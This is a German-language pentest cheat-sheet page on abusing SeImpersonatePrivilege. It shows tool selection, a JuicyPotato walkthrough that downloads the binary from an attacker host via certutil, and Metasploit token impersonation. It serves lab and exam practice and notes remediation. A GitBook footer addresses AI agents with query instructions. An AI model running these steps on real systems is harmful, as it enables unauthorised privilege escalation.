> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/token-privileges/seimpersonateprivilege-windows-privilege-escalation.md).

# SeImpersonatePrivilege

`SeImpersonatePrivilege` ermöglicht es einem Prozess, das Token eines anderen Benutzers zu imitieren. Auf kompatiblen Windows-Zielen kann dieses Privileg missbraucht werden, um eine hochprivilegierte Sitzung zu erhalten.

## Erkennung

```powershell
whoami /priv
```

<figure><img src="/files/6282eb55aaac371c7f77a1f34a280ce58cd99db1" alt="SeImpersonatePrivilege shown in whoami /priv"><figcaption></figcaption></figure>

## Wählen Sie die richtige Technik

Verschiedene Windows-Versionen erfordern unterschiedliche Ansätze. Betrachten Sie dies als Kompatibilitätsprüfung, nicht als Ein-Befehl-Exploit.

| Werkzeugfamilie                            | Typischerweise relevant für                                                  | Notizen                                                   |
| ------------------------------------------ | ---------------------------------------------------------------------------- | --------------------------------------------------------- |
| JuicyPotato                                | Ältere Windows-Server-Builds vor der neueren DCOM-Härtung.                   | Benötigt eine kompatible CLSID und lokales COM-Verhalten. |
| RoguePotato- / RemotePotato-ähnliche Pfade | Umgebungen, in denen NTLM-Relay oder Resolver-Tricks in Frage kommen.        | Validieren Sie zuerst die Netzwerkannahmen.               |
| PrintSpoofer                               | Ältere Ziele, bei denen der Print-Spooler-Pfad exponiert und kompatibel ist. | Der Patch-Stand ist dabei von großer Bedeutung.           |
| GodPotato- / SweetPotato-Varianten         | Laboreziele mit kompatiblem Verhalten von Named Pipes/RPC.                   | Testen Sie gegen den exakten OS-Build.                    |

## Manuelle Validierung mit JuicyPotato

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

Stellen Sie die Binärdateien vom Angreifer-Host bereit:

```bash
python3 -m http.server 8080
```

Laden Sie das autorisierte Tool auf dem Ziel herunter:

```cmd
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe JP.exe
```

<figure><img src="/files/223fd1e7d383fe351cb93c78f6ce39f26ea225ab" alt="JuicyPotato and netcat transferred to the target"><figcaption></figcaption></figure>

Führen Sie zuerst einen harmlosen Validierungsbefehl aus:

```cmd
JP.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Windows\Temp\impersonate-check.txt"
type C:\Windows\Temp\impersonate-check.txt
```

Wenn die Validierung erfolgreich ist, ersetzen Sie die Aktion durch die begrenzte Nutzlast für das Lab oder die Prüfung.

## Häufige Prüfungen

```cmd
whoami /priv
systeminfo
net start spooler
```

<figure><img src="/files/7a866da3b57d71c4504bac7cd5b0842293a7e571" alt="Privileged shell obtained through JuicyPotato" width="563"><figcaption></figcaption></figure>

## Metasploit-Incognito-Variante

```
load incognito
list_tokens -u
```

<figure><img src="/files/4c9357407300434950a5371b2474787e730693eb" alt="Listing tokens with Incognito"><figcaption></figcaption></figure>

```
impersonate_token "ATTACKDEFENSE/Administrator"
```

<figure><img src="/files/718e1d9d8dfed606181cdc6670fe0f0909b2958f" alt="Impersonating an administrator token"><figcaption></figcaption></figure>

Wechseln Sie in einen geeigneten Prozess:

```
pgrep explorer
migrate 3512
getprivs
```

<figure><img src="/files/42116ab0cd5c57c88475a66b658ae5996fac44fb" alt="Migrating into explorer process"><figcaption></figcaption></figure>

<figure><img src="/files/a3dd04144b45d5f6f4417effe9f5dcdeee5013d7" alt="Privileges after token impersonation" width="563"><figcaption></figcaption></figure>

## Wichtige Punkte

* Bestätigen Sie, dass das Privileg vorhanden und aktiviert ist.
* Der Exploit-Pfad hängt stark von der Windows-Version und lokalen Einschränkungen ab.
* Wenn der Host modern und gepatcht ist, wechseln Sie zu Dienst-, geplanten Aufgabe- oder Anmeldeinformationspfaden, bevor Sie Zeit verschwenden.
* Beheben Sie das Problem, indem Sie Dienste einschränken, die Impersonierungswege offenlegen, und Hosts gepatcht halten.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/token-privileges/seimpersonateprivilege-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
